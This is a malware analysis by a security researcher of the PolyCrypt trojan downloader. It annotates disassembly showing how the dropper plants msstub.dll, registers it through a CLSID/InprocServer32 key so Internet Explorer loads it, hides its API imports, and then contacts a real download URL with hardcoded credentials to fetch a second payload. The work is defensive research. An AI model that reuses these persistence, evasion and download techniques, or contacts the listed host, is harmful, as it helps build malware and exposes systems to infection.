

Trojan-Downloader.Win32.Small or Win32/PolyCrypt Analysis

Author: Giuseppe 'Evilcry' Bonfa'
E-Mail: evilcry@gmail.com
Website: <http://evilcry.altervista.org>
Blog: <http://evilcodecave.wordpress.com>

Introduction

MD5: 5f9e38abd1c20ba44ff07903489bac10
Identification: **AVG Antivirus** -> Win32/PolyCrypt
Kaspersky -> Trojan-Downloader.Win32.Small.ihj
Format: EXE and Embedded DLLs

The Essay

PolyCrypt is spreaded through infected Websites by using Exploits or every other form of abusive Download mechanism.
PolyCrypt is weakly Packer Protected, so with **VMUnpack** we can suddenly obtain the full working unpacked copy.

Let's trace from the EP:

```
00401000    mov     eax, 104h
00401005    mov     edx, offset dword_403033
0040100A    push   eax
0040100B    inc     ecx
0040100C    push   edx
0040100D    push   offset loc_4013BE ;points to jmp GetSystemDirectoryA
00401012    call   sub_4012BD ;Call GetSystemDirectoryA
```

PolyCrypt uses an basilar method for API call, just to deceit basical fast analysis, the call sub_4012BD access directly the jump table at the entry passed as parameter.

```
0040101B    push   offset aMsstub_dll ; "\\msstub.dll"
00401020    push   offset dword_403033 ;System Directory
00401025    push   offset loc_4013E2
0040102A    call   sub_4012BD          ;lstrcat
0040102F    pop    dword_402027
00401035    pop    ebx
00401036    push   ebx
00401037    push   80h
0040103C    push   2
0040103E    push   ebx
0040103F    push   1
00401041    push   40000000h
00401046    push   offset dword_403033 ;Full Path
0040104B    push   offset CreateFileA
00401050    call   sub_4012BD
00401060    mov    edx, esp
00401062    push   ebx
00401063    push   edx
00401064    push   1000h
00401069    push   offset dword_402027
0040106E    push   dword_403027
00401074    push   offset WriteFile
00401079    call   sub_4012BD
0040107E    pop    ecx
0040107F    push   dword_403027
```

```
00401085  push    offset CloseHandle
0040108A  call    sub_4012BD
```

This piece of code builds the a string path **c:\windows\system32\msstub.dll** and next creates this DLL (msstub.dll) and fills if it with embedded data.

```
0040108F  push    offset aDb5825eaB434C6 ; "{DB5825EA-B434-
C69E-8E2D-81387140521A}"
00401094  push    offset aClsid    ; "CLSID\\"
00401099  push    offset byte_403137
0040109E  push    offset wsprintfA
004010A3  call    sub_4012BD
004010A8  add     esp, 0Ch
004010AB  push    eax
004010AC  push    esp
004010AD  push    offset dword_40302F
004010B2  push    ebx
004010B3  push    3
004010B5  push    0
004010B7  push    ebx
004010B8  push    ebx
004010B9  push    offset byte_403137 ; "CLSID\\{DB5825EA.."
004010BE  push    80000000h
004010C3  push    offset RegCreateKeyExA
```

To overcome basical detecting attempts it's used the CLSID Splitting, the complete string is **CLSID\\{DB5825EA-B434-C69E-8E2D-81387140521A}**, obviously next operation is to create this Registry Key Entry.

```
004010D6  push    eax
004010D7  push    esp
004010D8  push    offset dword_40302B
004010DD  push    ebx
004010DE  push    2
004010E0  push    0
004010E2  push    ebx
004010E3  push    ebx
004010E4  push    offset aInprocserver32 ; "InprocServer32"
004010E9  push    dword_40302F
004010EF  push    offset RegCreateKeyExA
00401111  inc     eax
00401112  push    eax
00401113  push    offset aApartment ; "Apartment"
00401118  push    1
0040111A  push    ebx
0040111B  push    offset aThreadingmodel ; "ThreadingModel"
00401120  push    dword_40302B
00401126  push    offset RegSetValueExA
0040112B  call    sub_4012BD
0040113A  inc     eax
0040113B  push    eax
0040113C  push    offset dword_403033
00401141  push    1
00401143  push    ebx
00401144  push    ebx
00401145  push    dword_40302B
0040114B  call    RegSetValueExA
00401150  push    dword_40302B
00401156  call    RegCloseKey
```

This piece of code creates into the previously builded CLSID the following entry:

```
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\  
{CLSID}\InprocServer32 = iexplorer.exe  
\ThreadingModel = Apartment (which is single threaded)
```

In other words Registers a 32-bit in-process server and specifies the threading model of the apartment the server can run in, in our case the InprocServer32 is Internet Explorer.

So the malicious dll (msstub.dll) could be called by IE, indeed the next operation accomplished by PolyCrypt is to Open IE with **ShellExecuteA()**, finally builds a .bat script file, called dmfg.bat to delete the Executable..

PolyCrypt is completely Reversed, let's see now what happens into msstub.dll

msstub.dll

The first fast way to analyze this dll is with LoadDll.exe of OllyDbg, but during the analysis is important to change some conditional jump that checks if the dll was called by IE.

```
003567C1  MOV AL,BYTE PTR DS:[EDI] ;EDI is the raw address table  
003567C3  INC EDI  
003567C4  OR AL,AL  
003567C6  JE SHORT msstub.003567A4  
003567C8  MOV ECX,EDI  
003567CA  PUSH EDI      ;HeapAlloc  
003567CB  DEC EAX  
003567CC  REPNE SCAS BYTE PTR ES:[EDI]  
003567CE  PUSH EBP  
003567CF  CALL DWORD PTR DS:[ESI+6068] ;GetProcAddress("HeapAlloc")  
003567D5  OR EAX,EAX  
003567D7  JE SHORT msstub.003567E0      ;Address == NULL Jump Out  
003567D9  MOV DWORD PTR DS:[EBX],EAX  ;EBX is the address function table  
003567DB  ADD EBX,4      ;next address  
003567DE  JMP SHORT msstub.003567C1
```

This piece of code builds an Address Function Table, this is a method of indirect API Importing, just to make a bit harder Disasm Analysis, here a list of Imported APIs:

```
HeapAlloc, GetCurrentProcessId, HeapFree, DeleteFileA,  
HeapCreate, GetLastError, CreateEvent, HeapRealloc, GetTempPathA,  
GetVersion, GlobalAlloc, ExitProcess, CreateFile, HeapDestroy,  
CreateThread, CloseHandle, HeapSize, GetModuleFilename, LoadLibrary,  
Sleep, VirtualFree, WriteFile, lstrcat, lstrcmp, lstrcpy, GlobalFree,  
wsprintf, InternetCloseHandle, HttpSendRequest, HttpQueryInfoA.  
HttpOpenRequest, InternetSetOption, TnternetReadFile,  
InternetQueryDataAvailable InternetOpenA, InternetBadConnectionState,  
InternetCrackUrlA,  
InternetConnectA.
```

Important to say that this little dll works entirely with the Heap Memory, everithing is runtime decrypted and pushed into heap.

After a decryption routine we obtain some intersting strings:

```
http://redmed.ru/images/stories/Sport002/fiax.php
cvesw.dll
CLSID\{DB500391040 825EA-B434-C69E-8E2D-81387140521A}
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\
\InprocServer32
```

Cause is a Downloader, it's easy to understand that the URL contains malicious code that will be used to build **cvesw.dll** and finally acts in the same way that was used to load msstub.dll, by creating a CLSID Registry Key entry (**CLSID\{DB500391040 825EA-B434-C69E-8E2D-81387140521A}**) with an InprocServer32 procedure..

As should be clear by analysing deadly this dll no traces of these operations could be founded, so let's move to a debug approach.

The core algorithm of the Downloader is obtained by the decryption of a portion of data that is pushed into Heap, so execution flows in the Heap..cause the code is long I've reported only the significant pieces of code..

```
00390030  MOV ECX,390581          ; JMP to kernel32.GetModuleFileNameA
0039003  CALL 00390115          ; GetModuleFileNameA
..
00390045  PUSH EAX
00390046  PUSH 390108           ; ASCII "iexplore.exe"
0039004B  MOV ECX,3905A5        ; JMP to kernel32.lstrcmpiA
00390050  CALL 00390115
..
00390055  TEST EAX,EAX
00390057  JNZ SHORT 003900C1    ;Jump out
00390059  PUSH 104
0039005E  PUSH 3912E3
00390063  PUSH DWORD PTR SS:[EBP+8]
00390066  CALL 00390581         ; JMP to kernel32.GetModuleFileNameA
0039006B  MOV ECX,390521        ; JMP to kernel32.GetCurrentProcessId
00390070  CALL 00390115
00390075  PUSH EAX
00390076  PUSH 3910CD           ; ASCII "ntdfgz_%u" ;ntdfgz_PID
..
003900A8  JE SHORT 003900C8
003900AA  PUSH EBX
003900AB  PUSH ESP
003900AC  PUSH EBX
003900AD  PUSH EBX
003900AE  PUSH 39011C           ;Thread Procedure
003900B3  PUSH EBX
003900B4  PUSH EBX
003900B5  CALL 0039056F         ; JMP to kernel32.CreateThread
```

If the dll is not loaded through IE, execution is aborted, else is opened a new thread procedure at address 0039011C, which is the Downloader related part..

```
00390144  PUSH DWORD PTR SS:[EBP-4]
00390147  PUSH 391000          ; "http://redmed.ru/images/stories/Sport002/fiax.php"
0039014C  CALL 003902FE        ;Connect and Download
```

Let's see this call

```
003902FE  PUSH EBP
003902FF  MOV EBP,ESP
00390301  SUB ESP,54
..
0039033B  CALL 003905F3        ; InternetGetConnectedState
00390340  POP EDX
00390341  TEST EAX,EAX
```

```
00390343    JE 00390509 ; If there is no connection go out
00390379    PUSH EDI
0039037A    PUSH EBX
0039037B    PUSH EBX
0039037C    PUSH DWORD PTR SS:[EBP+8]
0039037F    PUSH 3905F9      ; JMP to WININET.InternetCrackUrlA
00390384    CALL 00390117
```

Cracks the URL format in its components that will be used by the other internet functions.

```
00390393    PUSH EBX
00390394    PUSH 0
00390396    PUSH EBX
00390397    CALL 003905ED      ; JMP to WININET.InternetOpenA
..
0039039F    PUSH 3
003903A1    PUSH DWORD PTR SS:[EBP-10] ;Password
003903A4    PUSH DWORD PTR SS:[EBP-C]   ;User
003903A7    PUSH DWORD PTR DS:[EDI+18]
003903AA    PUSH DWORD PTR SS:[EBP-4]
003903AD    PUSH EAX
003903AE    PUSH 3905FF      ; JMP to WININET.InternetConnectA
003903B3    CALL 00390117
..
003903D4    PUSH EBX
003903D5    PUSH DWORD PTR SS:[EBP-8]
003903D8    PUSH EBX
003903D9    PUSH EAX
003903DA    CALL 003905D5      ; JMP to WININET.HttpOpenRequestA
```

Easy to understand, dll attempts a connection to redmed, by accessing a php page protected with User and Password authentication.

Credentials can be stolen easily by watching the 4th and 5th parameters of InternetConnectA.

User: BADF000h
Password: BADF000h

After login, a loop procedure with InternetReadFile downloads the content of cvesw.dll.

Unfortunately this last link is closed, so csesw.dll can't be retrieved, but now msstub.dll is fully documented

Regards,
Giuseppe 'Evilcry' Bonfa'